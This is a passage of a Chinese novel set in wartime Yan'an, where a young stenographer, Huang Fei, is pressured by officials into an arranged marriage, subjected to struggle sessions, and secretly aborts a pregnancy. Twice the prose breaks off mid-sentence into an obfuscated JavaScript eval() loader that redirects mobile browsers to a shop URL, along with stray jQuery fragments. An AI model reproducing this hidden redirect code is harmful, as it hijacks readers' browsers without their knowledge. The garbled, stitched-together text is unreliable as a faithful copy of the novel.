胡瑾回想往事,仿佛是心有余悸:“她可是辛苦了,想一想我算运气好的,妞妞一岁的时候,我托了人把她送去了托儿所,实在太难进去,倘若我们夫妻两个,有一个人上了前线呢,倒还有话说,可是现在两个人都在这里,应该自己想办法带孩子。然而实在太难了,我们是不够级别请保姆的,那一点津贴只够给孩子买一点牛奶和鸡蛋,每天又有那么多的工作,满了月之后,便只好把孩子寄养了,一天我去看她,苍蝇落了她满脸,孩子连哭的力气都没有了,倒不是老乡不尽心,只是她们自己也顾不过来,我当时实在受不住,一个冲动就把孩子抱了回来,请了假在家里自己喂养,照顾了好一阵,这才恢复过来,总算保住一条小命,可是剧团里的工作不能总是丢着不做,于是我四处请托,总算借了一位领导的力,把孩子送去了托儿所,比老乡家里好许多,我这才能够抽得开身,倘若就此回到了家庭,怎么还能够跟得上革命的发展?不出几年,我就会变得和老乡家的妇女一样的见识。” 黄菲听她这样诉说往事,虽然自己并没有经历过,却也感到一阵阵心里发凉,段葵芳曾经说起过,她在长征路上曾经生过一个孩子,早产,或许因为胎儿实在太小,分娩倒是顺利,然而孩子生了出来,之后要怎么办?当时战争太紧张,只得把孩子丢掉了,段葵芳从不提起这件事,还是她再次怀孕,才勾了起来,之前大家都不知道。 想一想这样的事情倘若发生在自己身上……黄菲简直头发根都要竖起来了,太令人胆寒。 谈了一阵孩子,又谈起胡瑾自己的事:“胡姐姐,你为什么会离开剧团,来到这里当会计呢?本来并不是你的专业啊。” 倘若是女大学会计的同学来做这个工作,倒是相宜的。 胡瑾微微苦笑一下:“是他要我调过来的,我在剧团里,总是不能照顾家庭,每个礼拜六才能见面,到礼拜天便又要走了,聚少离多,这当然是为了工作,可是总这样不是长法,夫妻两个人,总要在一起的,所以我便申请调到这边来。” 虽然说“小别胜新婚”,可那是说的小别,就好像“小赌怡情”一样,可以调剂感情,倘若像是这样的久别,一周只能一天多的见面,那就容易出问题,确实传出了风言风语,说丈夫与一个女同志有暧昧,胡瑾不能冒着家庭破裂的风险,来干革命,那样自己就会没了爱人,妞妞则会失去父亲,所以她便最终决定调来秘书处,当一个与本行不搭界的会计,学了三个月,总算摸到了一些门径。 这件事给胡瑾心里留下一定的暗影,因此虽然与黄菲很是知音,却尽量挑选爱人不在的时候请她过来,好在爱人工作非常忙,多数时间都不在家里,况且黄菲一看就是个非常纯真的人,本身又有恋人,就是那个小有名气的作家,那两个人十分要好,黄菲时不时就会过去给他速记稿子,因此即使黄菲偶然与自己的爱人碰面,想来也不妨事。 听了胡瑾的话,黄菲简直有一些瞠目结舌,她没有想到在延安的革命妇女,对丈夫还会有这样的退让与妥协,简直有一点好像“嫁夫从夫”,胡姐姐为了家庭,牺牲了专业,简直是“贤良淑德”。 “贤良淑德”这四个字,黄菲如今是怎么听怎么刺耳,她认为自己是绝不会这样的,虽然从前陈露云开玩笑,曾经拿这话说过自己,但黄菲并不认可她的评述,自己帮助景斌速记稿件,一方面是为了革命的文学事业,另一方面也是磨炼速记技术,不是封建社会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不多时晚饭烧好了,几碟小菜环绕之下,萝卜烧猪肉特别引人注目,黄菲用勺子狠狠舀了几勺浓浓的肉汤,浇在米饭上,胡瑾与她的爱人笑着招呼她吃肉。 这一个春节,黄菲除了去景斌那里,就是帮胡瑾做一些家务,然后听胡瑾拉琴,几天的假日很快就过去了,当假期结束,便又恢复到平时的节奏,重又投入到紧张有序的工作与学习之中。 到了三月里,天气温暖起来,这一天有一个晚会,黄菲也是极欢喜晚会的,当天早早便与几个女同志一起赶到了礼堂,总算找到了座位。 坐在那里等演出开始,忽然间有人指着一个地方说: “快看,□□校长!” “在哪里在哪里?” “就在那里啊!顺着我指头的方向看!” 黄菲伸长脖子,往那边看去,口中问了好几遍:“是那个么?还是那个?” 终于找准了林校长,赫赫有名的□□将军,去苏联之前当过抗大的校长,红军八路军之中有许多光辉灿烂的人物,黄菲从前在桂林,便已经听得不少,来到延安之后,知道得更多,堪称是一颗又一颗挂在天上的星星,在这群星之中,□□将军是极为璀璨的一颗,特别的引人注目,关于他的种种传奇经历,黄菲早就听人说了许多次。 尤其有一位叫做谭永光的首长,走过长征的,在军事部门,团级,有时候来交际处谈工作,便讲起□□将军,平型关大捷,他非常敬仰□□,关于□□将军,许多事都知道,黄菲特别喜欢听他讲这些故事,谭首长也没有架子,很爱和年轻同志说话,见到自己就聊起来,讲述从前,每当说到激烈的情节,谭永光便要猛拍大腿,说一声“妈个巴子”,“妈个巴子,当时那些小鬼子……” 因为谭团长的讲述,黄菲对□□将军充满了向往,简直朦胧梦幻。 然而当她来到延安,□□已经去了苏联,直到这一年的二月才归来,今天的这个晚会,黄菲终于有机会见到他。 为了这个仰慕已久的人,当天的晚会黄菲都没有怎样去看,两只眼睛只顾盯着□□,□□走到哪里,她的眼珠子就转到哪里,时常要恨有人挡住了将军的脸,一边注视着□□,黄菲一边想,好像是一个很忧郁的人啊,在这样快乐的夜晚,却几乎没有看到过他露出过笑容,总是仿佛带了伤感,个子看上去并不高,而且偏瘦了一些,样貌却是清秀的,只可惜离得实在有些远,不能够把将军的面容仔仔细细看个清楚。 黄菲正遥望着,旁边焦文俊用手肘捅了她一下:“唉,黄菲,你看不看节目?在那里总是动来动去地做什么?这两天身上虱子多么?” 黄菲随口答应着:“看,看呢!” 这才把目光转回到了台上。 15.第十五章 婚姻攻防战 第十五章 婚姻攻防战 几天之后,黄菲与景斌相见,两个人走在延河边,到了这个时候,河面的冰层已经消融,大块大块的浮冰随着河水流去,冰块彼此撞击,发出清脆的碰撞声,正午的太阳直射在流动的冰面上,白亮亮的反光刺人的眼睛。 黄菲咯咯乐着,便与景斌说起那一天的晚会:“真的没想到,居然能见到林校长,那样一个传奇的人啊,简直只有在故事中才听到过,却给我亲眼看到了。从前听说他是矮胖的,那天一见,个子确实不很高,但并不胖,很是清瘦的,或者原来胖一些,自从生病之后,便瘦了。唉我还是觉得,一个长得好的人,最好还是不要发胖比较好。他的相貌很秀气的,斯斯文文,只是总是不肯笑一笑,仿佛很忧伤的样子,似乎是为了什么事情不高兴,可也难怪呢,自从那一次之后,他的身体便不好,人的身体不舒服,怎么会开心?看到他总是蹙着两条浓浓的眉毛,就很让人关切,林校长的眉毛真浓,晚会散了场,我留在门口,特意靠近了看……” 看到黄菲手舞足蹈,如此兴奋,滔滔不绝,景斌呲牙一乐:“你是不是有一点,神魂颠倒啊?” 莫非厌倦了我么? 黄菲这才注意到景斌的情绪,她嘻嘻笑道:“啊呀,不要吃醋嘛,林校长万众瞩目,我仰慕他,就像仰慕天上的月亮,至于我们两个,那才是现实中的人啊!” 月亮虽然好,但是远在天边,可望而不可即,黄菲连想都不曾想过,景斌才是自己身边可以碰触得到的。 景斌这才吁了一口气,舒服了:“我也远远地看过林校长,确实是很出众的,倘若延安要评选四大美男,应该榜上有名的。” 在自己心里,美男的榜单已经列出了两位,铁定要当选的,周副主席自然是其中之一,另一个就是林校长,得说林校长的特点,确实已经给黄菲总结了出来,着实是以气质取胜的,五官自然是不错,更难得的是他的那种气息,就如同黄菲说的,总好像忧愁着,忧愁着,堪称“忧郁王子”,与“快乐王子”正相对,这样的男人,大概很容易激发女人天性之中的母爱,黄菲虽然年纪轻轻,也有一点小妈妈样了。 两个人嘻嘻哈哈地谈天,说起很快要开始的机关运动会,黄菲作为排球队员,要上场的。 她们两个在这里漫步闲谈,远处窑洞之中,周庆英与陆绍功也正在说着话。 陆绍功眉飞色舞,正在一个个评点新来的工作人员:“……都不错,年轻人,很有朝气,有干劲,比如王凤鸣、上官晗,加班加点,这其中尤其黄菲,很是出色,虽然年纪轻轻,但不过几个月,就堪比老速记员,又快又准,终究是女大出来的,不一样,性格又好,总是笑嘻嘻,很能团结同志……” 周庆英正在灯下缝补着一件灰布军装——延安的窑洞,透光性不是很好,只有一扇小小的窗子,白天要看文件或者缝补,也得点灯,倘若是温暖晴朗的天气,自然是方便的,可以坐在外面做针线——听了丈夫后面这几句话,抬起头来微微一笑,很是含蓄地说:“是啊,我也听说了,那个黄菲小同志,今年十九岁,正是花儿一样的年纪呢,长得也漂亮,又会说话,那同志关系处得,可实在是太好了,你们那机关里,但凡是男的,不管结了婚的,还是没结婚的,年纪大还是年纪小的,就如同蜜蜂围着花朵一样,整天绕着她转,只要有她在,加班都不叫苦的,自从她来了之后,你们机关已经变成了模范中的模范,上级很应当给你们一个奖状。” 陆绍功起初还乐滋滋地听着,到后来越听越不是味儿,再转过头来看自己的爱人,只见周庆英似笑非笑,那眼神很是尖利,就如同针尖一样,正扎进自己的皮肉里,再想一想她那些话,又酸又辣,显然有所猜疑。 陆绍功登时便一阵烦恼,重重甩了一下手:“我对黄菲同志,是领导对下级的关心,你都在想什么呢?是不是有什么人在背后说闲话,嚼舌根,传到你这里了?这些人,好事不做,专干这种事。” 周庆英的笑容更大:“哎哟,你是大领导,有什么人敢说你的闲话?我不过是前些天看到了那个黄菲,觉得确实不错罢了,倒是你,想到哪里去了?” 真挺好看的,不是那种妖妖娆娆的,人样子端庄清秀,细细的眉毛,弯弯的眼睛,五官挺娟秀的,一看就是大小姐的底子,从前在家乡,村里地主的女儿,就是这么个调调儿,说起话来腔调都和别人不一样,虽然也都是讲的革命的话,但总觉得有点娇滴滴。 当时看到了这个人,周庆英心里就咯噔一声,真不愧是如此沸沸扬扬的人物啊,到处听人说起她,多么的年轻,多么的漂亮,多么的有文化,又是多么的能干,简直天上少有,地上仅存,自己的那口子整天对着这么个小仙女,不知道心里都琢磨什么,有时候盘腿坐在炕头,看着看着书,忽然间就直着两只眼睛,开始迷迷瞪瞪的。 陆绍功站起来跺了跺脚:“我就说我们一些同志,嘴里倒是都在谈革命讲进步,满脑子封建思想,还想着三妻四妾呢,我们是革命同志,怎么能搞那些个?那是资产阶级腐朽作风,我是十几年的老党员了,怎么会有那种想法?那是违反纪律的,是要受处分的。我本来不想和你说的,毕竟都是人家的事,不过今天看你这个样子,还是对你讲了吧,也省得你整天疑神疑鬼,我同你说哦,是这样这样……知道了吧?别没事瞎猜了,庸人自扰。” 周庆英听他说得明白,这下总算放心,呵呵乐着道:“行了行了,我封建,我落后,谁让你早不讲清楚,才惹得人家瞎猜,我看你最好赶快把这事办了,你可知道,外面有的人说话难听,况且夜长梦多。” 陆绍功说了一声“知道了”,往前走了两步,本来是想出去逛一逛,透透气,在这里对着这么一个人,实在憋闷,转而又想到方才也算是小小的吵了嘴,倘若此时自己走了,倒好像是有意和她怄气,于是便又重重地坐回旧藤椅里,端起茶碗喝了两口水。 又过了两天,机关春季运动会开始,虽然还没脱毛线衣,但是也不妨碍大家跑跳,毕竟即使是最冷的冬季里,每天也要出早操,黄菲在女大的时候,就参加了排球队,在这里也是打排球,得说黄菲的运动天赋虽然一般,奈何女大的排球队相当厉害,听人说,就在自己刚刚来到延安的那一年,三八节的时候,女大女排与抗大男排打比赛,抗大男排竟然败在了女大排球队的手下,那绘声绘色的描述引得黄菲只恨自己来晚了几个月,没有看到比赛当时的精彩场面。 所以黄菲虽然在女大的排球队里主要充当替补,到了机关,竟然算是主力,有正式的上场资格。 因此黄菲站在赛场上,格外珍惜,打得十分卖力,连蹦带跳,和姑娘们一起又喊又叫,她在这里接球传球,与队友击掌庆祝,场外观众席上,一群人紧盯着场上青春矫健的身影看,陆绍功指着赛场上的人影,笑着对身边的人说:“你看看,很不错吧?” 那个人瞪大眼睛,连连点头:“真好,真好!” 这一次运动会之后,过了一周时间,三月底的时候,这一天有同志告诉黄菲说,陆主任找她有事,黄菲连忙放下手中的工作,匆匆过去陆绍功那里。 到了主任办公室门前,推门进去,只见屋子里不但有陆绍功,还有谭永光,而且黄菲发现,今天的谭永光同志,与以往有些不太一样,好像有点傻乎乎的样子,两眼呆呆地只顾盯着自己瞧。 黄菲按照革命的礼仪,分别向他们两个打了招呼:“陆主任,你找我?谭团长,你好。” 谭永光愣愣地点点头:“好,好。” 陆绍功笑眯眯地看着这两个人,向左边看看这个,转向右边再看看那个,过了几分钟,忽然用拳头猛地一砸桌面:“美得太,美得太啊!” 黄菲听得一头雾水:“主任,什么美得太?” 陆绍功爽朗地哈哈笑道:“就是你们两个人,过日子美得太嘛!” 谭永光站起来大步走到黄菲面前,声音洪亮地说:“黄菲同志,我们结婚吧,我这就向组织上打报告。” 黄菲登时五雷轰顶,头脑里一片空白,大约一分钟之后才说出一句:“可是,我是有男朋友的……” 陆绍功豪爽地把手一挥:“组织上有同意吗?那都不算数,你是革命同志,应该知道要服从组织安排,只有组织批准的事,才是作数的。现在组织决定,你和谭永光同志结婚,成为革命伴侣,你有什么意见吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090927|148989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 见他如此斩钉截铁,又想到了那如同苍穹一般的组织,黄菲登时惶然失措,心中如同刀扎一样,一时间她不知是怎样想的,脱口而出:“我不干!我不干!” 然后哭着掉头跑了出去。 见心上人跑掉了,谭永光感觉很是尴尬,又有些懊丧,对陆绍功摊着手说:“你看,不行。” 陆绍功在起初的失望之后,这时已经重新振作起来,笑了一笑,说:“老谭,你怎么这么容易就灰心丧气呢?她现在不同意,不代表一直不同意,组织上的决定,她能够反对么?反对组织的决定,就是对革命不忠实。” 谭永光叹了一口气:“可是你方才也听到了,她是有男朋友的。” 陆绍功更加不在意:“我早就知道她有个男朋友,是鲁艺出来的,现在在报社工作,还是个作家,写过几篇小说,也算是个小小的才子呢。不过那样的小年轻,哪能和你比?你是红军出身的老同志了,十年党龄,黄菲同志和你结婚,就是政治上追求进步,你可以好好地帮助她,让她的革命性更彻底,和那么个毛头小子闹恋爱,能有什么结果?小孩子的把戏罢了。你尽管放心,这件事包在我身上,我再找她谈,做她的思想工作,倘若不肯通,还有别的办法。老谭啊,你这么多年打仗,出生入死,从来不见害怕的,怎么到了这件事上,这么容易就气馁了?就要撤退了?这可不是你的为人啊。” 谭永光苦笑一声:“我倒也不是吃了一次败仗,就想要放弃,只是觉得有点没意思,从没给人这样嫌弃,你说老陆啊,这女学生是不是看不起俺这大老粗?她是学生出身,觉得我没文化,所以不愿意和我结婚?” 陆绍功笑道:“老谭,你这是自己看不起自己,黄菲是女大的,可你也是抗大的啊,论打仗,谁不佩服你是一把好手?你和她比,差什么呢?没有部队在前方作战,这帮学生还想在这里安安稳稳吃小米饭?你放心,有组织出面,一定能成。” 黄菲哭着从陆绍功的办公室里跑出来,一时没有回自己的座位,在外面痛哭了一阵,这才回去了,红肿着眼睛,在同志们异样的眼神之中,勉强把当天的工作做完,晚饭也顾不得吃,便赶快跑去找景斌,偏偏景斌这一天不在报社的窑洞,宿舍里也不见他,问了几个人,才晓得是去了合作社,黄菲又赶快去合作社,在饭桌上把景斌从朋友堆里硬拖了出来。 景斌给她打扰了这一场聚会,起初很有些不高兴,然而当他听了黄菲的述说,登时也是大惊失色:“他们,他们怎么可以这样?你没有说在和我谈恋爱吗?” 黄菲道:“我说过了,可是陆主任说,这是组织的决定,我很怕他一定要我和谭团长结婚,我不想啊!” 景斌在地上团团转着圈子:“这可怎么办?很快我就要随军出发了,没有我在这里,你一个人怎么应付?或者你打个报告,和我一起上前线吧。” 黄菲左思右想:“现在也只有这个办法,或者我走了,他们就不再提这件事。” 景斌心慌意乱地点点头:“能拖多久是多久,或者过一阵,我们就有资格结婚,到那时候我们一起向组织上打报告,申请结婚。” 两个人议定了这个办法,黄菲回来,连夜写了一份报告,第二天递到了陆绍功那里,陆绍功一看就明白了,“兵贵神速”,反应得真快啊,这么快就有了对策了,想要和她那个小情人一起上前线,这一下天高皇帝远,可管不着她,然而哪里能行呢? 陆绍功把黄菲叫过来,就批了一顿:“前线需要速记员吗?那里缺的是译电员,你为了资产阶级的恋爱观念,居然抛弃自己的职责,要到前线凑热闹,这是很落后的思想,要好好反省!” 她的这一份申请,当然是给拒绝了。 黄菲从陆绍功的办公室走出来,只觉得万分委屈,自己要去前线,虽然有个人的情感原因在里面,但也是为了革命,为了抗战,上前线毕竟十分危险,为什么就给主任说得如此落后呢?她感觉实在是困惑。 陆绍功把黄菲的那一份字迹工整的报告拍在了桌子上,深吸一口气,定下神来一想,再怜惜黄菲是不行了,要走到错误的道路上去了,所以只能痛下决心,用雷霆一样的手法让她悔改。 16.第十六章 夜沉沉 第十六章 夜沉沉 没过两天,机关便发动了民主生活会,在大会上,黄菲和另外两个年轻人给拎出来,两个女青年一个男青年站在台上,被领导带领着同志们痛批“小布尔乔亚世界观”,简直是狂风暴雨,黄菲只觉得天昏地暗,四面八方的巨浪向自己袭来,要把自己淹没在浪涛底下,如同暴雪一般的白色浪花将自己重重掩埋在下面,四面毫无缝隙,简直连呼吸都不能够。 民主会上,黄菲的头脑不能转动,只能痛哭,晚间回到宿舍,抱着膝盖坐在那里静静地想一想,才能够从读过的小说中找到比方,就是好像乡村中土地改革,斗地主的阵势,自己与另外两个同志,一瞬间俨然阶级敌人,当时的那种场面,实在是惊心动魄,此时仅仅是回想,也让人心惊肉跳,黄菲百思不得其解,自己只是想与景斌恋爱,为什么就给说成是资产阶级作风?仿佛十恶不赦一样。 她搜遍了自己学习过的政治理论,都不能找到答案,自己究竟哪里错了?难道恋爱不是自由的?不是应该由自己来决定? 斗争会一连持续了两周时间,这中间景斌打起背包去了前线,因为情势实在紧张,都没来得及当面与黄菲道别,黄菲之后是从别人口中得知他已经走了,同去的还有鲁艺同学沈芒,听到有沈芒同行,黄菲感觉安心了许多。 黄菲一边每天被斗争,一边惦念景斌,晚间回到宿舍,就会想起两个人最后一次相会,就是那份要上前线的报告给主任驳回之后,黄菲偷偷地去见景斌,扑在景斌怀中大哭起来,一边哭一边问着:“我们的爱情,究竟会有怎样的结果?” 在延安将近两年时间,无论黄菲还是景斌,都非常了解组织的力量,可以完成一切仿佛不可能完成的事,包括人的婚姻,如果组织决定让自己与谭团长结婚,自己坚持到最后,可能只有服从,然而那实在太悲惨,太让人心碎。 黄菲不由得便想到了自己读过的那些小说,“身命可以牺牲,意志自由不可以牺牲,不得自由我宁死。人们要不知道恋爱自由,则所有的一切都不必提了。这是我的宣言。” 是的,爱情是宝贵的,恋爱是神圣的,这是人间至真至纯的东西,是不能够屈服妥协的,即使死亡也不能够让自己的意志屈服。 一想到自己背叛家庭,奔向延安,就是为了光明、自由与希望,而眼前却就要失去自己爱情的自由,被迫要与一个自己不爱的人结婚,共度终生,黄菲就感到实在无法接受,情绪非常激烈,那一个晚上,在剧烈的思想风暴之中,黄菲决定献身给景斌,更重要的是献身给自己的爱情,自己的自由意志。 于是两个人便结合在了一起。 本来景斌还有些犹豫:“我们没有结婚,这样不太好吧?” 黄菲非常坚定地说:“我们的爱情,不能够向任何力量屈服,这就是我们在争自己的自由,我们的命运,应该由自己来决定!” 景斌望着黄菲,此时黄菲的双眼亮得如同火炬一般,他一瞬间感到,此时的黄菲确实是一个延安女性,延安的女同志,许多都相当激进,好像男人一样,甚至比男人还激进,她们往往表现得比男人更坚决,更无畏,就比如此时,黄菲的勇敢就超过了自己,一时间令人惭愧。 草丛之中,一场秘密的仪式在进行,仿佛是两个人在对抗整个世界,在那之后,二人就再也没有见过面,景斌的离去是匆匆的,连一张纸条都没能来得及留给黄菲,让黄菲想起来便感到怅惘。 景斌离开之后,黄菲一个人更显得孤单,如果景斌还在这里,虽然两个人这种情势之下不方便见面,但想到他就在延安,就在自己不远处,终究是一种安慰,内心能够得到力量,但是如今景斌走了,随着部队去往战斗激烈的前线,黄菲便感到自己是给丢在了这里,由自己单独去面对所有的风雨。 虽然知道前线非常危险,但黄菲这时候宁愿去到战争的最前方,有形的枪弹与无形的枪弹相比,不知哪一个更让人痛苦。 这边的斗争会越来越紧张,黄菲思念着景斌,一去之后音讯全无,所以有的时候,夜晚望着天空中的月亮,黄菲就会一个人轻轻唱起歌来:“空到无聊唱支歌,不为欢喜不为乐,这个年成算不到,只怕做妹难嫁哥。” 黄菲很是痛苦,另有一个人也相当烦恼,就是陆绍功,眼看着这生活会开了半个多月了,那两个都已经悔悟,在会上做了深刻的检讨,表示要“痛改前非”,就只有黄菲,她倒也是哭的,可气却也只是哭,不肯表态,像什么“与自己的自由散漫习气做斗争,彻底革了头脑中小布尔乔亚思想的命”这一类话,哪怕是给人批得再狠,就是不肯说出来,真让人着急,她这是要耗到什么时候? 真的是小资产阶级,陆绍功知道黄菲出身的阶级成分,地主家庭,虽然不是豪富,然而也有钱,黄菲就是在这样的家庭之中长大,这倒也是难怪,当今的中国,尤其是女子,但凡能读一点书的,多数都是有钱人家的姑娘,最起码也是小有家业,投奔延安的知识女青年,以这样的人为多。 对于这些小姐出身的革命女性,陆绍功一方面是欢迎,原本就有一定的知识文化,容易培养,更何况还是女的,正是延安最急需的,另一方面,有时候容易给人找麻烦,满脑子都是自由恋爱,无组织无纪律,动不动就是她的自由她的权利,她们以为延安是什么地方?是给她们开心自在整天谈恋爱的吗?这是脑子还沉浸在校园里,没拔出来呢。 她们应该好好读一读主席的《湖南农□□动考察报告》,那里面说得很清楚,“革命不是请客吃饭,不是做文章,不是绘画绣花,不能那样雅致,那样从容不迫,文质彬彬,那样温良恭俭让”,革命是什么?革命是暴动,是战争,是流血,是牺牲,是一个阶级推翻另一个阶级的暴烈行动! 像她们这样,整天情情爱爱的,想着自己的这个自己的那个,什么都是要说到自己怎么怎么样,这还能革命?革命是要求服从的,不能总是讲自己的想法,那是资产阶级的个人主义,一定是要坚决剔除的,否则就不是一个合格的革命者,甚至有可能堕落为反动分子,在革命之中,一个人如果太过在意自己的感受,是极其危险的。 所以,即使是本着“挽救黄菲”这个出发点,陆绍功也急于把她的脑子给转过来,倘若可以,他真想撬开黄菲的头盖骨,把一打马列和毛主席的书给她塞进脑壳。 陆绍功正在这里筹划着,要怎么样再加一把火,把黄菲这个牛皮筋彻底煮烂,那边黄菲则已经陷入更加痛苦的焦灼之中。 这个时候已经是五月中旬,黄菲发现自己这个月的月经没有来,已经过了一周时间,还迟迟没有动静,自己的经期一向是很准的,这一阵虽然艰涩,却依然如同时钟一样,顶多延后两三天,绝不会过了一个礼拜,还一点血丝都不见,黄菲是懂得一点关于女人身体的知识,在家里母亲对她讲过,在女大,旁听卫生课也学到过,所以一想到那样一种可能,黄菲就感到心慌。 这一天好在是没有工作,礼拜天大家都休息,黄菲去隔壁窑洞听提琴,听了一阵觉得不是很有滋味,胡瑾拉的都是革命乐曲,慷慨激昂,往日自己也是爱听的,只是这一段时间不知为什么,有点听不得这个。 于是黄菲便请求:“胡姐姐,能拉一首小夜曲吗?就是肖邦的那一首。” 胡瑾微微一愕,随即点了点头,变换曲调,拉起肖邦的降E大调小夜曲,舒缓的曲调如同夜色一般,逐渐浸染整个窑洞。 这首曲子对胡瑾来说,本来也是非常熟悉的,只是这一阵有些生疏了,一两分钟之后,过去的感觉便又回来了,她几乎是凭借本能在拉琴,一边拉着琴,头脑里翻滚着近来大家都在学习的,主席的《在延安文艺座谈会上的讲话》。 不多时,这一首曲子拉完,胡瑾放下提琴,静静地望着对面的黄菲,今天的黄菲,很显然心事重重,不过这一阵,她哪一天不是沉忧满怀呢?不过十九岁的年纪,就要面对这样的风雨,这样一朵鲜花,便要在严霜之中失却了娇嫩的颜色,如今的黄菲,面色显然比从前苍白,不复再是那样红润,延安的小米饭曾经让她的身体结实,充满活力,如今却苦涩难咽了。 黄菲也正在怔怔地出神,一时间竟然没有发觉窑洞中的提琴声已经停止,过了一会儿,她才恍然觉悟了,两眼的焦距终于凝聚到胡瑾的脸上,忽然之间说道:“胡姐姐,我可能怀孕了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099903|148989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 听到她这样一句话,胡瑾起初一愣,转瞬间便变了脸色,痛心疾首脱口而出:“黄菲啊,你怎么这样糊涂!” 怀孕这件事,在延安是这样轻易的么?或者是即使在延安,难道就可以轻松看待?黄菲还这样年轻,尤其是,她还没有结婚啊,未婚先孕,这在延安也是丑闻,胡瑾的脑子急速转动,如今的黄菲,要想摆脱困境,或者是赶快找人结婚,证明孩子的合法性,或者就只能冒险打胎,至于这孩子究竟是谁的,胡瑾一时间竟然想不到要去追问,和谁有的都且放在一边,赶快处理这胎儿要紧。 然后胡瑾马上便问:“你现在打算怎么办?是要结婚呢,还是要打胎?” 面对着胡瑾这位大姐姐,黄菲一时间失去了之前勉强的镇定,露出了原本的六神无主,流着眼泪道:“我想结婚,可是景斌不在……” 胡瑾便明白了:“孩子是景斌的?” 黄菲擦着眼泪,点了点头。 胡瑾直捶自己的大腿:“这可怎么好?上前线的人,一时半刻不能回来的,再过几个月,你就要显怀,那时候就不能瞒人,你若是要和组织安排的人结婚,不多久难免要知道,男同志得有多高的觉悟,才能够不介意?到那时难免要受气,难道结了婚等孩子生下来,然后再离婚?离了婚纵然清净,你一个人带着孩子,日子也难过,还要听人家的风言风语,毕竟也是中国人,延安这种事情传得可快……” 胡瑾一口气把所有的可能性都说了出来,连吃药打胎的危险都料想到了,两个人栓好了门,关在窑洞里商量来商量去,目前对于黄菲,竟然只有冒险吃打胎药,还算是比较好的一条出路,趁着月份还不大,赶快吃药堕胎,倘若能够干净利落地打掉这个胎儿,之后也不必告诉谁,就这么悄悄地过去,谁也不知道,黄菲在政治上的生命就保住了。 然而虽然主意拿定了,一说到打胎药,黄菲又是两眼一抹黑,她虽然在机关工作,却仍然是学生的风格,对许多门路都不知道的,这个时候是胡瑾挺身而出,胡瑾已经是一个相当成熟的人了,有备无患,许多事都有留意,黄菲拿了钱给她,由她出面找人买打胎药,过了两天偷偷地交给了黄菲:“你确定是真的有了再吃。” 否则平白无故吃打胎药,也伤身体啊。 黄菲点点头:“姐姐,我只怕是真有了。” 就在今天,胃里开始反酸,一起工作的同志还以为自己是吃错了什么,坏了肚子。 这一天正是礼拜四,黄菲满心想马上就把药吃下去,了结了这桩灾祸,然而宿舍里还有焦文俊,集团生活就是这样,虽然只是两个人的小集团,但是不能够关起门来,做自己想做的事,无论做一点什么,总能给别人看见。 所以黄菲只得强忍着焦灼,等到了礼拜六,这一天焦文俊下班后直接去了爱人那里,“过礼拜六”,黄菲回到宿舍,见果真没有人,便插好门,从暖水瓶里倒了一点热水,把那一包药粉洒进茶缸里,拿汤匙搅开,一双泪眼怔怔地望了那药汤一会儿,端起来一仰脖子,咕嘟咕嘟便灌了进去,汤药苦涩,然而黄菲一时间竟然没有察觉,她嘴里的味道实在比汤药还要苦。 喝了药之后,黄菲就抱着被子,静静地躺在那里等待药力发作,她吃药的时候是在黄昏,到了夜色深沉,大约十一二点,小腹开始疼痛,黄菲只觉得□□中有液体流出来,就好像每次来月经的感觉,她下炕点起油灯,脱下裤子一看,果然流血了,是药开始发挥作用。 黄菲便坐在马桶上,又过了一阵,只觉得有一团东西从自己肚子里往下坠,仿佛是从前有的时候经期之中,艰难排出血块时的感觉,只是比那要痛得多,那一团东西就在自己肠子里慢慢地走,黄菲心里默默地数着数字,只觉得时间分外发漫长,到最后终于有一块东西排出,黄菲扶着墙站起来,探头往马桶里面一看,是一块紫红色的东西,血肉模糊,直觉便是流出来的胎,之前胡瑾也和她讲过的,到这一步便算是成了。 黄菲到这时终于重重地呼出一口气,总算是完结了,自己可以安心了,然后她用之前准备好的草纸擦净了血,又垫了一块草纸在内裤里,回到炕上躺了下来,就静静地歇着。 17.第十七章 雪崩 第十七章 雪崩 第二天礼拜天,黄菲除了凌晨出去倒马桶,一整天都没有出门,前一天夜里刚刚流产,今天实在没有力气,便关起门来,在窑洞里安静地休养生息,恢复气力。 她也是很周密的了,之前胡瑾也提醒过她,准备好这一天要吃的东西,所以黄菲就提前备好了食物,买了几个馍,白面的,很贵,另外一棵白菜,这一天就吃馍配白菜汤。 黄菲是真想喝一点鱼汤,吃了打胎药之后,本来没有什么胃口,有点反胃恶心,不过只是馍和白菜,终究觉得有些贫乏,猪肉汤此时是喝不下的,太油腻,便想到了鱼汤,就是那种煮成乳白色的鱼汤,宁妈妈最会烧这种鱼汤,仿佛牛奶一样,从前自己熬夜读书,她便时常煮这种汤给自己喝,补养身体,这个时候黄菲真想喝鱼汤。 或者有一碗鸡蛋汤也是好的,香葱紫苏蛋花汤,解表散寒,这个时候很想喝一碗,喝进去就感觉身上暖和,然而哪里能够呢?如今在延安,鸡蛋也是相当难得的。 窑洞里寂静无声,黄菲一个人躺在炕上,只能听到自己的呼吸声,只觉得分外无聊,身上没力气,书也懒得看,从昨天到今天,日记都没有写,现在一时间也不知该做什么,就只能躺在这里。 